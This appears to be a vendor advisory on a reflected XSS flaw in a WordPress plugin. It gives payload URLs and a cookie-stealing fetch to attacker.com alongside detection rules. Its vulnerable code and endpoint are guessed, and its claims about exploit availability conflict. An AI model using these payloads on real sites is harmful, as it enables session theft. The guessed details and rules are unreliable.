CVE-2025-67947
Executive Summary
CVE-2025-67947 is a Reflected Cross-Site Scripting (XSS) vulnerability in the AdForest Elementor WordPress plugin (vendor: Scriptsbundle). The flaw exists in versions up to and including 3.0.11, where user-supplied input is not properly neutralized during web page generation. An attacker can craft a malicious link that, when clicked by an authenticated administrator or editor, executes arbitrary JavaScript in the context of the WordPress admin panel. This can lead to session hijacking, privilege escalation, or defacement. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch is available, users must rely on manual mitigation (e.g., disabling the plugin or applying a WAF rule). The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: High – Reflected XSS in a WordPress admin context can lead to full site compromise if an admin is targeted.
Deep Dive & Mechanics
The vulnerability resides in the adforest-elementor plugin, which extends Elementor page builder functionality for the AdForest theme. The plugin fails to sanitize or escape user-supplied input (likely via $_GET or $_POST parameters) before reflecting it in the HTML response. An attacker can inject arbitrary JavaScript by crafting a URL like:
https://victim-site.com/wp-admin/admin-ajax.php?action=adforest_elementor_ajax¶m=<script>alert('XSS')</script>
When an administrator visits this URL, the injected script executes in the admin panel context, allowing the attacker to:
- Steal session cookies (if HttpOnly is not set)
- Create new admin users
- Modify site content
- Install malicious plugins
The vulnerability is classified as Reflected XSS because the payload is immediately reflected in the response and not stored.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely looks like:
// Vulnerable code (adforest-elementor.php)
function adforest_elementor_ajax_handler() {
$param = $_GET['param'];
echo "<div class='adforest-result'>" . $param . "</div>";
wp_die();
}
A patched version would use esc_html() or wp_kses_post():
// Patched code
function adforest_elementor_ajax_handler() {
$param = sanitize_text_field($_GET['param']);
echo "<div class='adforest-result'>" . esc_html($param) . "</div>";
wp_die();
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Install WordPress 6.x with AdForest Elementor <= 3.0.11 and the AdForest theme.
- Craft Payload: Create a URL with a malicious parameter:
http://target/wp-admin/admin-ajax.php?action=adforest_elementor_ajax¶m=<img src=x onerror=alert(document.cookie)> - Deliver: Send the link to an admin via email or social engineering.
- Exploit: When the admin clicks, the script executes. Use a payload to exfiltrate cookies:
fetch('https://attacker.com/steal?cookie='+document.cookie)
Blue Team (Detection & Response)
- Monitor Logs: Check web server access logs for requests to
admin-ajax.phpwith suspiciousparamvalues containing<script>or<img onerror>. - WAF Rule: Block requests to
admin-ajax.phpwhere theparamparameter contains HTML tags. - User Training: Educate admins not to click suspicious links.
Indicators of Compromise (IOCs)
- URL Pattern:
*/wp-admin/admin-ajax.php?action=adforest_elementor_ajax¶m=* - Log Entry:
GET /wp-admin/admin-ajax.php?action=adforest_elementor_ajax¶m=<script>... - Cookie Exfiltration: Outbound connections to unknown domains from the WordPress admin panel.
- File Changes: Unexpected admin user creation or plugin installation.
Detection Engineering
YARA Rule
rule CVE_2025_67947_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against AdForest Elementor plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67947"
strings:
$url_pattern = "admin-ajax.php?action=adforest_elementor_ajax¶m="
$xss_payload1 = /<script[^>]*>/
$xss_payload2 = /<img[^>]*onerror=/
$xss_payload3 = /<svg[^>]*onload=/
condition:
$url_pattern and any of ($xss_payload*)
}
Sigma Rule
title: Reflected XSS Attempt Against AdForest Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-67947
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains: "admin-ajax.php?action=adforest_elementor_ajax¶m="
cs-uri-query|re: "(<script|<img onerror|<svg onload)"
condition: selection
falsepositives:
- Legitimate use of HTML in parameters (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-67947 Reflected XSS Attempt"; flow:to_server,established; content:"admin-ajax.php"; http_uri; content:"action=adforest_elementor_ajax"; http_uri; content:"param="; http_uri; pcre:"/(<script|<img onerror|<svg onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the AdForest Elementor plugin until a patch is released.
- WAF Rule: Add a virtual patch to block requests containing
param=with HTML tags. - Monitor: Watch for any suspicious admin activity.
- Update: Apply the official patch as soon as it becomes available from Scriptsbundle.
- Hardening: Ensure all WordPress admin sessions use HttpOnly and Secure cookies.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.